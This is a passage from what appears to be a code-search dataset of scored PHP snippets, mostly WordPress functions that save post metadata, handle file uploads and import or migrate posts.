$mydata['_slider_order_by'] = \"0\";}\t\t\n\n\n//} else\n//{\n//\t$mydata['_slider_one_title'] = \"\";\n//\t$mydata['_slider_one_subTitle'] = \"\";\n//\t$mydata['_slider_one_video'] = \"\";\n//\t$mydata['_slider_one_image']=$upload['url'];\n//\t$mydata['_slider_one_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_two_title'] = \"\";\n//\t$mydata['_slider_two_subTitle'] = \"\";\n//\t$mydata['_slider_two_video'] = \"\";\n//\t$mydata['_slider_two_image']=$upload['url'];\n//\t$mydata['_slider_two_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_three_title'] = \"\";\n//\t$mydata['_slider_three_subTitle'] = \"\";\n//\t$mydata['_slider_three_video'] = \"\";\n//\t$mydata['_slider_three_image']=$upload['url'];\n//\t$mydata['_slider_three_image_file']=$upload['file'];\t\n//\t\t\t\t\t\n//\t$mydata['_slider_four_title'] = \"\";\t\n//\t$mydata['_slider_four_subTitle'] = \"\";\n//\t$mydata['_slider_four_video'] = \"\";\n//\t$mydata['_slider_four_image']=$upload['url'];\n//\t$mydata['_slider_four_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_five_title'] = \"\";\n//\t$mydata['_slider_five_subTitle'] = \"\";\n//\t$mydata['_slider_five_video'] = \"\";\n//\t$mydata['_slider_five_image']=$upload['url'];\n//\t$mydata['_slider_five_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_six_title'] = \"\";\t\n//\t$mydata['_slider_six_subTitle'] = \"\";\n//\t$mydata['_slider_six_video'] = \"\";\n//\t$mydata['_slider_six_image']=$upload['url'];\n//\t$mydata['_slider_six_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_seven_title'] = \"\";\n//\t$mydata['_slider_seven_subTitle'] = \"\";\n//\t$mydata['_slider_seven_video'] = \"\";\n//\t$mydata['_slider_seven_image']=$upload['url'];\n//\t$mydata['_slider_seven_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_eight_title'] = \"\";\t\n//\t$mydata['_slider_eight_subTitle'] = \"\";\t\n//\t$mydata['_slider_eight_video'] = \"\";\t\n//\t$mydata['_slider_eight_image']=$upload['url'];\n//\t$mydata['_slider_eight_image_file']=$upload['file'];\t\n//\t\n//\t$mydata['_slider_nine_title'] = \"\";\t\n//\t$mydata['_slider_nine_subTitle'] = \"\";\t\n//\t$mydata['_slider_nine_video'] = \"\";\t\n//\t$mydata['_slider_nine_image']=$upload['url'];\n//\t$mydata['_slider_nine_image_file']=$upload['file'];\t\n//\tif ($_POST['smartexpress_options']['feature_option']== 'youtube')\n//\t{ \n////\t\t\tif($_POST['youtube']!=\"\"){ $mydata['_youtube'] = $_POST['youtube'];}else{ $mydata['_youtube'] = \"\";}\t\n//\t}\n//\n//\n//\tif ($_POST['smartexpress_options']['feature_option']== 'singleimg')\n//\t{ \n//\t\n//\t if(!empty($_FILES['upload_singleimg']['name'])) { \n// \n// // Setup the array of supported file types. In this case, it's just PDF. \n// $supported_types = array('image/jpeg','image/pjpeg'); \n// \n// // Get the file type of the upload \n// $arr_file_type = wp_check_filetype(basename($_FILES['upload_singleimg']['name'])); \n// $uploaded_type = $arr_file_type['type']; \n// \n// // Check if the type is supported. If not, throw an error. \n// if(in_array($uploaded_type, $supported_types)) { \n// \n// // Use the WordPress API to upload the file \n// $upload = wp_upload_bits($_FILES['upload_singleimg']['name'], null, file_get_contents($_FILES['upload_singleimg']['tmp_name'])); \n// \n// if(isset($upload['error']) && $upload['error'] != 0) { \n// wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n// } else { \n//\t\t\t\t$mydata['_singleimg']=$upload['url'];\n//\t\t\t\t\n////\t\t\t\t$mydata['_slider_nine_image_file']=$upload['file'];\t\t\t\t\n// } // end if/else \n// \n// } else { \n// wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n// } // end if/else \n// \n// } // end if \n\n\t\n\t\n//\t\t\tif($_POST['_singlelink']!=\"\"){ $mydata['_singlelink'] = $_POST['_singlelink'];}else{ $mydata['_singleimg'] = \"\";}\t\n\t\t\t\n//\t}\n\n\n\t\n//}\n\n//$mydata['_feature_option']=$_POST['smartexpress_options']['feature_option'];\n\n//print_r($mydata);\n\n//exit();\n\n\t\t// Add values of $mydata as custom fields\n\t\tif ($mydata) : // Make sure $mydata has values\n\t\t\tforeach ($mydata as $key => $value) { //Let's cycle through the $mydata array!\n\t\t\t\tif( $post->post_type == 'revision' ) return; //don't store custom data twice\n\t\t\t\t$value = implode(',', (array)$value); //if $value is an array, make it a CSV (unlikely)\n\t\t\t\tif(get_post_meta($post->ID, $key, FALSE)) { //if the custom field already has a value\n\t\t\t\t\tupdate_post_meta($post->ID, $key, $value);\n\t\t\t\t} else { //if the custom field doesn't have a value\n\t\t\t\t\tadd_post_meta($post->ID, $key, $value);\n\t\t\t\t}\n\t\t\t\tif(!$value) delete_post_meta($post->ID, $key); //delete if blank\n\t\t\t}\n\t\tendif;\n\t}", "title": "" }, { "docid": "17c18c79e9a26641d132945e39c76dbf", "score": "0.54748654", "text": "function save($post_id) {\n //Verify if this is an auto save routine.\n //If it is, our form has not been submitted, so we don't want to do anything\n if (defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE)\n return;\n\n //Custom meta data for devotionals post type\n switch($_POST['post_type']) \n {\n case 'cf_devotional':\n $this->save_meta_data($post_id, '_cf_series', $_POST['_cf_series']);\n $this->save_meta_data($post_id, '_cf_daily_verses', $_POST['_cf_daily_verses']);\n $this->save_meta_data($post_id, '_cf_footer', wpautop($_POST['_cf_footer']));\n break;\n \n case 'cf_series_session':\n $this->save_meta_data($post_id, '_cf_series', $_POST['_cf_series']);\n $this->save_meta_data($post_id, '_cf_video_url', $_POST['_cf_video_url']);\n $this->save_meta_data($post_id, '_cf_group_questions', wpautop($_POST['_cf_group_questions']));\n $this->save_meta_data($post_id, '_cf_family_questions', wpautop($_POST['_cf_family_questions']));\n break;\n }\n }", "title": "" }, { "docid": "c2ce7856752e3593dbad2302e0f9b8ac", "score": "0.5471843", "text": "public function actionFieldInsert()\n {\n if ($post = Yii::$app->request->post()) {\n foreach ($post['media'] as $postMedia) {\n $media = $this->findModel($postMedia['id']);\n $metadata = $media->getMeta('metadata');\n if ($postMedia['media_type'] === 'image') {\n echo $media->getUploadUrl() . $metadata['media_versions'][$postMedia['media_size']]['url'];\n } else {\n echo $media->getUploadUrl() . $metadata['media_versions']['full']['url'];\n }\n break;\n }\n }\n }", "title": "" }, { "docid": "3c700efec10a090d7bae111144370d4c", "score": "0.54698575", "text": "public function save_post( $post_id ) {\n\t\tif ( ! isset( $_POST['_elementor_edit_mode_nonce'] ) || ! wp_verify_nonce( $_POST['_elementor_edit_mode_nonce'], basename( __FILE__ ) ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\t\treturn;\n\t\t}\n\n\t\tPlugin::$instance->db->set_is_elementor_page( $post_id, ! empty( $_POST['_elementor_post_mode'] ) );\n\t}", "title": "" }, { "docid": "1b4f3e5ccda4febba122392c2d36010f", "score": "0.5469676", "text": "public function save() {\n\t\t$this->auth->restrict('DM_Preparedness.Content.Create');\n\n\t\t$this->saveResource($this->input, $this->input->post('id', null));\n\t\tTemplate::redirect(SITE_AREA .'/content/dm_preparedness/index');\n\t}", "title": "" }, { "docid": "8e6a784e0132754eb3b494268c61afae", "score": "0.5467776", "text": "private function import_post_values($post_identifier)\n {\n }", "title": "" }, { "docid": "a6c071545c45d2bef5ef949439fdd7c9", "score": "0.5460308", "text": "function save_thread_as_posted($postID) {\n\t$postsfile = fopen(\"posts.txt\", \"a\");\n\tif ($postsfile) {\n\t\tfwrite($postsfile, $postID.\"/\".time().PHP_EOL);\n\t}\n\tfclose($gamesfile);\n}", "title": "" }, { "docid": "e646800a34568fd9008015ac978bb2bd", "score": "0.54586846", "text": "function myplugin_save_postdata( $post_id ) {\n\n // verify if this is an auto save routine. \n // If it is our form has not been submitted, so we dont want to do anything\n if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n return;\n\n // verify this came from the our screen and with proper authorization,\n // because save_post can be triggered at other times\n if ( ( isset ( $_POST['myplugin_noncename'] ) ) && ( ! wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename( __FILE__ ) ) ) )\n return;\n\n // Check permissions\n if ( ( isset ( $_POST['post_type'] ) ) && ( 'page' == $_POST['post_type'] ) ) {\n if ( ! current_user_can( 'edit_page', $post_id ) ) {\n return;\n } \n }\n else {\n if ( ! current_user_can( 'edit_post', $post_id ) ) {\n return;\n }\n }\n\n // OK, we're authenticated: we need to find and save the data\n\tif ( isset ( $_POST['_dsa_slide0'] ) ) {\n update_post_meta( $post_id, '_dsa_slide0', $_POST['_dsa_slide0'] );\n }\n\n if ( isset ( $_POST['_dsa_column_left'] ) ) {\n update_post_meta( $post_id, '_dsa_column_left', $_POST['_dsa_column_left'] );\n }\n\n if ( isset ( $_POST['_dsa_column_right'] ) ) {\n update_post_meta( $post_id, '_dsa_column_right', $_POST['_dsa_column_right'] );\n }\n\n if ( isset ( $_POST['_dsa_slide1'] ) ) {\n update_post_meta( $post_id, '_dsa_slide1', $_POST['_dsa_slide1'] );\n }\n\n if ( isset ( $_POST['_dsa_slide2'] ) ) {\n update_post_meta( $post_id, '_dsa_slide2', $_POST['_dsa_slide2'] );\n }\n\n if ( isset ( $_POST['_dsa_slide3'] ) ) {\n update_post_meta( $post_id, '_dsa_slide3', $_POST['_dsa_slide3'] );\n }\n if ( isset ( $_POST['_dsa_feature_box'] ) ) {\n update_post_meta( $post_id, '_dsa_feature_box', $_POST['_dsa_feature_box'] );\n }\n if ( isset ( $_POST['_dsa_homepage_row_2'] ) ) {\n update_post_meta( $post_id, '_dsa_homepage_row_2', $_POST['_dsa_homepage_row_2'] );\n }\n if ( isset ( $_POST['_dsa_homepage_row_3'] ) ) {\n update_post_meta( $post_id, '_dsa_homepage_row_3', $_POST['_dsa_homepage_row_3'] );\n }\n if ( isset ( $_POST['_dsa_alert_box'] ) ) {\n update_post_meta( $post_id, '_dsa_alert_box', $_POST['_dsa_alert_box'] );\n }\n\n}", "title": "" }, { "docid": "7b52eaded8b61e4de600dd7410d2bfe7", "score": "0.54577786", "text": "function save_custom_meta_data($id) {\n\n if(!wp_verify_nonce($_POST['tei_importer_file_attachment_nonce'], plugin_basename(__FILE__))) {\n return $id;\n }\n\n if(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {\n return $id;\n }\n\n $tei_file = $_FILES['tei_importer_file_attachment'];\n if(!empty($tei_file['name'])) {\n $supported_types = array('application/xml');\n $arr_file_type = wp_check_filetype(basename($tei_file['name']));\n $uploaded_type = $arr_file_type['type'];\n\n if(in_array($uploaded_type, $supported_types)) {\n $upload = wp_upload_bits($_FILES['tei_importer_file_attachment']['name'], null, file_get_contents($_FILES['tei_importer_file_attachment']['tmp_name']));\n\n if(isset($upload['error']) && $upload['error'] != 0) {\n wp_die('There was an error uploading your file. The error is: ' . $upload['error']);\n } else {\n update_post_meta($id, 'tei_importer_file_attachment', $upload);\n }\n }\n else {\n wp_die(\"The file type that you've uploaded is not TEI/XML.\");\n }\n }\n }", "title": "" }, { "docid": "66618525a0058893be63a5b2f88669de", "score": "0.54558915", "text": "public function run()\n {\n $posts = [\n 0 => ['1', '1', 'post by user 1 page 1'],\n 1 => ['3', null, 'post by user 3'],\n 2 => ['3', '3', 'post by user 3 page 3'],\n 3 => ['4', null, 'post by user 4'],\n ];\n\n foreach ($posts as $post)\n {\n $p = new Post;\n $p->creator_id = $post[0];\n $p->page_id = $post[1];\n $p->content = $post[2];\n $p->save();\n }\n\n }", "title": "" }, { "docid": "62bc79ab0701e2c8fa6faa3351d9d70f", "score": "0.54555345", "text": "public function do_import( $import_part ) {\n\t\t// no timeout\n\t\tset_time_limit( 0 );\n\n\t\tforeach ( $this->content as $part => $content ) {\n\t\t\tif ( 'image' === $part && 'image' === $import_part ) {\n\t\t\t\t$this->do_import_image( $content );\n\t\t\t\t$this->save_option( 'image', $this->image );\n\t\t\t}\n\n\t\t\tif ( 'taxonomy' === $part && 'taxonomy' === $import_part ) {\n\t\t\t\t$this->do_import_taxonomy( $content );\n\t\t\t\t$this->save_option( 'taxonomy', $this->taxonomy );\n\t\t\t\t$this->save_option( 'taxonomy_image', $this->taxonomy_image );\n\t\t\t}\n\n\t\t\tif ( ! empty( $this->taxonomy_image ) ) {\n\t\t\t\t$this->do_import_taxonomy_image( $this->taxonomy_image );\n\t\t\t}\n\n\t\t\tif ( 'post' === $part && 'post' === $import_part ) {\n\t\t\t\t$this->do_import_post( $content );\n\t\t\t\t$this->save_option( 'post', $this->post );\n\t\t\t}\n\n\t\t\tif ( 'menu_location' === $part && 'menu_location' === $import_part ) {\n\t\t\t\t$this->do_import_menu_location( $content );\n\t\t\t\t$this->save_option( 'menu_location', $this->menu_location );\n\t\t\t}\n\n\t\t\tif ( 'menu' === $part && 'menu' === $import_part ) {\n\t\t\t\t$this->do_import_menu( $content );\n\t\t\t\t$this->save_option( 'menu', $this->menu );\n\t\t\t}\n\n\t\t\tif ( 'widget_position' === $part && 'widget' === $import_part ) {\n\t\t\t\t$this->do_import_widget_location( $content );\n\t\t\t\t$this->save_option( 'widget_position', $this->widget_position );\n\t\t\t}\n\n\t\t\tif ( 'widget' === $part && 'widget' === $import_part ) {\n\t\t\t\t$this->do_import_widget( $content );\n\t\t\t}\n\n\t\t\tif ( 'customizer' === $part && 'customizer' === $import_part ) {\n\t\t\t\t$this->do_import_style( $content );\n\t\t\t}\n\n\t\t\tif ( 'elementor_setting' === $part && 'elementor_setting' === $import_part ) {\n\t\t\t\t$this->do_import_elementor_setting( $content );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2836573507ac60b10e8675dcc9d2c893", "score": "0.5454416", "text": "public function submit(){\n $item = $this->param(\"item\", null);\n if(!$this->app->module(\"auth\")->hasaccess($this->moduleName,'manage.edit')) return '{\"error\":\"permission denied\"}';\n $item='./modules/addons/common/taskman.php';\n \n if(file_exists($item)) {\n include $item;\n //create connection:\n $link = mysql_connect($dpimport['host'], $dpimport['login'], $dpimport['password']);\n if (!$link) {\n die('Could not connect: ' . mysql_error());\n }\n mysql_set_charset('utf8',$link);\n //select db: \n $db_selected = mysql_select_db($dpimport['database'], $link);\n if (!$db_selected) {\n die ('Can\\'t select db '.$dpimport['database'].' : ' . mysql_error());\n }\n //=============begin convert\n $this->app->db->remove('addons/posts');\n $this->app->db->remove('addons/groups');\n \n $result = mysql_query(\"SELECT * FROM wp_posts where post_type='post' and post_status='publish'\");\n while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {\n $convertdata=[];\n //default data\n $convertdata['uid']=$this->user['_id'];\n $convertdata['publish']=1;\n $convertdata['home']=0;\n $convertdata['isdraft']=0;\n //convert data\n $convertdata['title']=$row['post_title'];\n $convertdata['slug']=$row['post_name'];\n $convertdata['created']=strtotime($row['post_date']);\n $convertdata['post_date']=strtotime($row['post_date']);\n $convertdata['publishdate']=date('Y-m-d',$convertdata['post_date']);\n $convertdata['publishtime']=date('h:i',$convertdata['post_date']);\n $convertdata['modified']=strtotime($row['post_modified']);\n $convertdata['description']=$row['post_excerpt'];\n $convertdata['content']=$row['post_content'];\n $convertdata['content']=str_replace('http://localhost:8080/dayxam/wp-content/uploads/', $this->sitebaseurl.'/cockcms/uploaded/',$convertdata['content']);\n $convertdata['content']=str_replace('http://dayxam.com/wp-content/uploads/', $this->sitebaseurl.'/cockcms/uploaded/',$convertdata['content']);\n //get image:\n $sql=\"SELECT * FROM wp_posts where ID =(select meta_value from wp_postmeta where meta_key='_thumbnail_id' and post_id=\".$row['ID'].\")\";\n\n $imageresult = mysql_query($sql);\n if ($imagerow = mysql_fetch_array($imageresult, MYSQL_ASSOC)) {\n $convertdata['featureimage']='site:cockcms/uploaded/'.str_replace('http://localhost:8080/dayxam/wp-content/uploads/', '',$imagerow['guid']);\n $convertdata['featureimage']=str_replace('http://dayxam.com/wp-content/uploads/', '',$convertdata['featureimage']);\n }\n //get group:\n $sql=\"SELECT * FROM wp_terms where term_id =(select tr.term_taxonomy_id from wp_term_relationships tr inner join wp_term_taxonomy tt on tr.term_taxonomy_id=tt.term_taxonomy_id where tr.object_id=\".$row['ID'].\" and tt.taxonomy='category')\";\n \n $groupresult = mysql_query($sql);\n if ($grouprow = mysql_fetch_array($groupresult, MYSQL_ASSOC)) {\n //get group\n \n $group=$this->app->db->findOne('addons/groups',['slug'=>$grouprow['slug']]);\n\n if(!$group){\n //insert group\n $group['name']=$grouprow['name'];\n $group['slug']=$grouprow['slug']; \n $group['uid']=$this->user['_id'];\n $group['modified']=time();\n $group['created']=$group['modified'];\n\n $this->app->db->save('addons/groups',$group);\n \n }\n $convertdata['gid']=$group['_id'];\n }\n\n \n $this->app->db->save('addons/posts',$convertdata);\n \n }\n //print_r( $this->app->db->find('addons/posts')->toArray());\n mysql_close($link);\n \n \n }\n\n return $item ? json_encode($item) : '{}';\n }", "title": "" }, { "docid": "739355fb139bcc6897b47a83375d4584", "score": "0.54540145", "text": "private function saveContents()\n {\n if (isset($_REQUEST['content_photo_title']))\n {\n $contents = array ();\n\n $contentsTitle = getArrayParameter($_REQUEST, 'content_photo_title');\n $contentsDescription = getArrayParameter($_REQUEST, 'content_photo_description');\n $contentsText = getArrayParameter($_REQUEST, 'content_photo_text');\n\t\t\t$credits = getArrayParameter($_REQUEST, 'content_photo_credits');\n\t\t\t$specialUses = getArrayParameter($_REQUEST, 'content_photo_specialUses');\n\n $contents = array ('title'=>$contentsTitle,\n \t\t\t\t\t'description'=>$contentsDescription,\n \t\t\t\t\t'text'=>$contentsText,\n\t\t\t\t\t\t\t\t'credits'=>$credits,\n\t\t\t\t\t\t\t\t'specialUses'=>$specialUses);\n\t\t\t\n $this->context->updateContents($contents);\n }\n }", "title": "" }, { "docid": "15de5ecf311559334279fede7e7bf725", "score": "0.5452793", "text": "public function persist(): void\n {\n $this->emitImportSignal(Events::POST_IMPORT_SIGNAL);\n $this->entryManager->persist();\n }", "title": "" }, { "docid": "3fccd489f6505865e0f667fab6854c7e", "score": "0.5447744", "text": "private function saveFile()\n {\n $content = $_POST['content'];\n\n require_once 'util/WriteFile.php';\n\n var_dump($_POST);\n echo WriteFile::saveFile('files/linguagens.json', $content);\n }", "title": "" }, { "docid": "0812c600fa98f94ed3382aa60a77acb5", "score": "0.5447555", "text": "function savePost($p) {\r\n\t\r\n\t\tglobal $wpdb;\r\n\t\t\r\n\t\t$p_array = Array();\r\n\t\t$p_array['id'] \t\t= $p->post_id;\r\n\t\t$p_array['image_url'] \t= $p->image;\r\n\t\t$p_array['media_url'] \t= $p->media;\r\n\t\t$p_array['categories'] \t= $p->categories;\r\n\t\t$p_array['title'] \t= $p->title;\r\n\t\t$p_array['date'] \t= $p->date;\r\n\t\t$p_array['permalink'] \t= $p->permalink;\r\n\t\t$p_array['author'] \t= $p->author;\r\n\t\t$p_array['link'] \t= $p->link;\r\n\t\t$p_array['vwidth'] \t= $p->vwidth;\r\n\t\t$p_array['vheight'] \t= $p->vheight;\r\n\t\t\r\n\t\t$pObject = addslashes(serialize($p_array));\r\n\t\t\r\n\t\t$wpdb->query(\" INSERT IGNORE INTO {$this->table_pt_post} ($this->tablequery) \r\n\t\t\t\tVALUES ( '$p->post_id', '$pObject' )\");\r\n\r\n\t}", "title": "" }, { "docid": "68de3b1c595adf1f997a2e8173b4ff82", "score": "0.54454076", "text": "function transform_xml() {\n global $post;\n\n // Need to read the contents of the uploaded file.\n if ($tei = get_post_meta( $post->ID, 'tei_importer_file_attachment', true )) {\n\n $tei_content = file_get_contents($tei['file']);\n $xslt = file_get_contents( plugin_dir_path( __FILE__ ) . 'preprocess.xsl' );\n $xslt = str_replace('[PLUGIN_DIR]', plugins_url( 'images', __FILE__), $xslt);\n\n $xml_doc = new DOMDocument();\n $xml_doc->loadXML( $tei_content );\n\n $xsl_doc = new DOMDocument();\n $xsl_doc->loadXML( $xslt );\n\n $proc = new XSLTProcessor();\n $proc->importStylesheet( $xsl_doc );\n $newdom = $proc->transformToDoc( $xml_doc );\n\n $post_content = $newdom->saveXML();\n //echo $post_content; exit;\n $my_post = array(\n 'ID' => $post->ID,\n 'post_content' => $post_content,\n );\n\n\n // unhook functions to prevent infinite loop\n remove_action( 'update_post_meta', array($this, 'transform_xml'));\n remove_action('save_post', array( $this, 'save_custom_meta_data' ));\n\n // update the post, which calls save_post again\n wp_update_post( $my_post, true );\n\n // re-hook functions\n add_action( 'update_post_meta', array($this, 'transform_xml'));\n add_action('save_post', array( $this, 'save_custom_meta_data' ));\n\n }\n\n }", "title": "" }, { "docid": "6e5bf9ed414b1beca84ca9e7ef928bb1", "score": "0.5443609", "text": "function save_feature_homapage_postdata( $post_id ) {\n\n // verify this came from the our screen and with proper authorization,\n // because save_post can be triggered at other times\n\n if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) )) {\n return $post_id;\n }\n\n // verify if this is an auto save routine. If it is our form has not been submitted, so we dont want\n // to do anything\n if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) \n return $post_id;\n\n \n // Check permissions\n if ( 'page' == $_POST['post_type'] ) {\n if ( !current_user_can( 'edit_page', $post_id ) )\n return $post_id;\n } else {\n if ( !current_user_can( 'edit_post', $post_id ) )\n return $post_id;\n }\n\n // OK, we're authenticated: we need to find and save the data\n\n $mydata = $_POST['feature-homepage'];\n\n // Do something with $mydata \n\n\n return $mydata;\n}", "title": "" }, { "docid": "40ba1d156722661d61ddc10f68f4f164", "score": "0.5437806", "text": "public static function save_post($pid) {\r\n if (!wp_is_post_revision($pid) AND get_post_status($pid) != \"auto-draft\") {\r\n $newpost = get_post($pid);\r\n $options = get_option('find_duplicates_data', array());\r\n if ($options['auto']['active'] == 1 AND in_array(get_post_type($newpost), $options['auto']['types'])) {\r\n if ($newpost->post_status == \"publish\") {\r\n $type = get_post_type($newpost);\r\n $log = \"\";\r\n $options = get_option('find_duplicates_data', array());\r\n $post_status = implode(\"','\", $options['auto']['statuses']);\r\n $datewhere = \"\";\r\n if(!empty($options['auto']['days'])) {\r\n $datewhere .= \"post_date>='\" . date(\"Y-m-d\",time()-(intval($options['auto']['days'])*24*60*60)) . \" 00:00:00\" . \"' AND \";\r\n $datewhere .= \"post_date<='\" . date(\"Y-m-d\") . \" 23:59:59\" . \"' AND \";\r\n } else {\r\n if (!empty($options['auto']['datefrom'])) {\r\n $datewhere .= \"post_date>='\" . $options['auto']['datefrom'] . \" 00:00:00\" . \"' AND \";\r\n }\r\n if (!empty($options['auto']['dateto'])) {\r\n $datewhere .= \"post_date<='\" . $options['auto']['dateto'] . \" 23:59:59\" . \"' AND \";\r\n }\r\n }\r\n global $wpdb;\r\n //$allPosts_count = $wpdb->get_results(\"SELECT COUNT(ID) as count FROM $wpdb->posts WHERE \" . $datewhere . \"post_type='\" . $type . \"' AND post_status IN('\" . $post_status . \"') AND ID != \" . $pid);\r\n //$allPosts_count = $allPosts_count[0]->count;\r\n $allPosts = $wpdb->get_results(\"SELECT ID,post_title,post_date,post_content FROM $wpdb->posts WHERE \" . $datewhere . \"post_type='\" . $type . \"' AND post_status IN('\" . $post_status . \"') AND ID != \" . $pid);\r\n\r\n foreach ($allPosts as $post2) {\r\n $post = new stdClass();\r\n $post->ID = $pid;\r\n $post->post_title = $newpost->post_title;\r\n $post->post_content = $newpost->post_content;\r\n $isDuplicate = self::compare_post($post,$post2,$options['auto']);\r\n if(is_array($isDuplicate)) {\r\n $target = $options['settings']['target'];\r\n switch($target) {\r\n case \"trash\":\r\n $result = wp_delete_post($pid, false);\r\n break;\r\n case \"pending\":\r\n $my_post = array(\r\n 'ID' => $pid,\r\n 'post_status' => 'pending'\r\n );\r\n $result = wp_update_post($my_post);\r\n break;\r\n case \"draft\":\r\n $my_post = array(\r\n 'ID' => $pid,\r\n 'post_status' => 'draft'\r\n );\r\n $result = wp_update_post($my_post);\r\n break;\r\n }\r\n /*$my_post = array();\r\n $my_post['ID'] = $pid;\r\n $my_post['post_status'] = 'pending';*/\r\n if($result === true OR $result > 0) {\r\n //if (wp_update_post($my_post) != false) {\r\n $log .= \"Duplicate: \" . $pid . \" (similar to \" . $post2->ID . \")<br />\";\r\n } else {\r\n $log .= \"Error: \" . $pid . \"(similar to \" . $post2->ID . \")<br />\";\r\n }\r\n }\r\n set_time_limit(300);\r\n }\r\n $old_log = get_option('find_duplicates_auto_log', '');\r\n update_option('find_duplicates_auto_log', $old_log . $log);\r\n }\r\n }\r\n }\r\n return $pid;\r\n }", "title": "" }, { "docid": "e92e638c2bc0d08fed2ddc8a5ff25255", "score": "0.5437181", "text": "function get_post($path = '', $placeholder = false) {\n\t\t// this gets the content AND imports the post because we have to build $this->filearr as we go so we can find the new post IDs of files' parent directories\n\t\tset_time_limit(540);\n\t\t$options = get_option('import_from_copysniper');\n\t\t$updatepost = false;\n\t\t\n\t\tif ($placeholder) {\n\t\t\t$title = trim(strrchr($path,'/'),'/');\n\t\t\t$title = str_replace('_', ' ', $title);\n\t\t\t$title = str_replace('-', ' ', $title);\n\t\t\t$my_post['post_title'] = ucwords($title);\n\t\t\t\n\t\t\tif (isset($options['preserve_slugs']) && '1' == $options['preserve_slugs']) {\n\t\t\t\t$filename = basename($path);\n\t\t\t\t$my_post['post_name'] = substr($filename,0,strrpos($filename,'.'));\n\t\t\t}\n\t\t\t\n\t\t\tif ($options['timestamp'] == 'filemtime')\n\t\t\t\t$date = filemtime($path);\n\t\t\telse $date = time();\n\t\t\t$my_post['post_date'] = date(\"Y-m-d H:i:s\", $date);\n\t\t\t$my_post['post_date_gmt'] = date(\"Y-m-d H:i:s\", $date);\n\n\t\t\t$my_post['post_type'] = $options['type'];\n\n\t\t\t$parentdir = rtrim($this->parent_directory($path), '/');\n\t\t\t\n\t\t\t$my_post['post_parent'] = array_search($parentdir, $this->filearr);\n\t\t\tif ($my_post['post_parent'] === false)\n\t\t\t\t$my_post['post_parent'] = $options['root_parent'];\n\n\t\t\t$my_post['post_content'] = '<!-- placeholder -->';\n\t\t\t$my_post['post_status'] = $options['status'];\n\t\t\t$my_post['post_author'] = $options['user'];\n\t\t}\n\t\telse {\n\t\t\tset_magic_quotes_runtime(0);\n\t\t\t$doc = new DOMDocument();\n\t\t\t$doc->strictErrorChecking = false; // ignore invalid HTML, we hope\n\t\t\t$doc->preserveWhiteSpace = false; \n\t\t\t$doc->formatOutput = false; // speed this up\n\t\t\tif (!empty($options['encode'])) { // we have to deal with character encoding BEFORE calling loadHTML() - eureka!\n\t\t\t\t$content = $this->handle_accents();\n\t\t\t\t@$doc->loadHTML($content);\n\t\t\t}\n\t\t\telse\n\t\t\t\t@$doc->loadHTML($this->file);\n\t\t\t$xml = @simplexml_import_dom($doc);\n\t\t\t// avoid asXML errors when it encounters character range issues\n\t\t\tlibxml_clear_errors();\n\t\t\tlibxml_use_internal_errors(false);\n\t\t\t\n\t\t\t// start building the WP post object to insert\n\t\t\t$my_post = array();\n\t\t\t\n\t\t\t// title\n\t\t\tif ($options['import_title'] == \"filename\") {\n\t\t\t\t$path_split = explode('/',$path);\n\t\t\t\t$file_name = trim(end($path_split));\n\t\t\t\t$file_name = preg_replace('/\\.[^.]*$/', '', $file_name); // remove extension\n\t\t\t\t$parent_directory = trim(prev($path_split));\n\t\t\t\t\n\t\t\t\tif(basename($path) == $options['index_file']) {\n\t\t\t\t\t$title = $parent_directory;\n\t\t\t\t} else {\n\t\t\t\t\t$title = $file_name;\n\t\t\t\t}\n\t\t\t\t$title = str_replace('_', ' ', $title);\n\t\t\t\t$title = str_replace('-', ' ', $title);\n\t\t\t\t$my_post['post_title'] = ucwords($title);\n\t\t\t}\n\t\t\telse { // it's a tag\n\t\t\t\t$titletag = $options['title_tag'];\n\t\t\t\t$titletagatt = $options['title_tagatt'];\n\t\t\t\t$titleattval = $options['title_attval'];\n\t\t\t\t$titlequery = '//'.$titletag;\n\t\t\t\tif (!empty($titletagatt))\n\t\t\t\t\t$titlequery .= '[@'.$titletagatt.'=\"'.$titleattval.'\"]';\n\t\t\t\t\t$title = $xml->xpath($titlequery);\n\t\t\t\t\t\tif (isset($title[0]))\n\t\t\t\t\t\t\t$title = $title[0]->asXML(); // asXML() preserves HTML in content\n\t\t\t\t\t\telse { // fallback\n\t\t\t\t\t\t\t$title = $xml->xpath('//title');\n\t\t\t\t\t\t\tif (isset($title[0]))\n\t\t\t\t\t\t\t\t$title = $title[0];\n\t\t\t\t\t\t\tif (empty($title))\n\t\t\t\t\t\t\t\t$title = '';\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$title = (string)$title;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// last resort: filename\n\t\t\t\t\t\tif (empty($title)) {\n\t\t\t\t\t\t\t$path_split = explode('/',$path);\n\t\t\t\t\t\t\t$title = trim(end($path_split));\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\t$title = str_replace('<br>',' ',$title);\n\t\t\t\t\t\t$my_post['post_title'] = trim(strip_tags($title));\n\t\t\t}\n\t\t\t\n\t\t\t$remove = $options['remove_from_title'];\n\t\t\tif (!empty($remove))\n\t\t\t\t$my_post['post_title'] = str_replace($remove, '', $my_post['post_title']);\n\t\t\t\n\t\t\t//echo '<pre>'.$my_post['post_title'].'</pre>'; exit;\n\t\t\t\n\t\t\t// slug\n\t\t\tif (isset($options['preserve_slugs']) && '1' == $options['preserve_slugs']) {\n\t\t\t\t// there is no path when we're working with a single uploaded file instead of a directory\n\t\t\t\tif 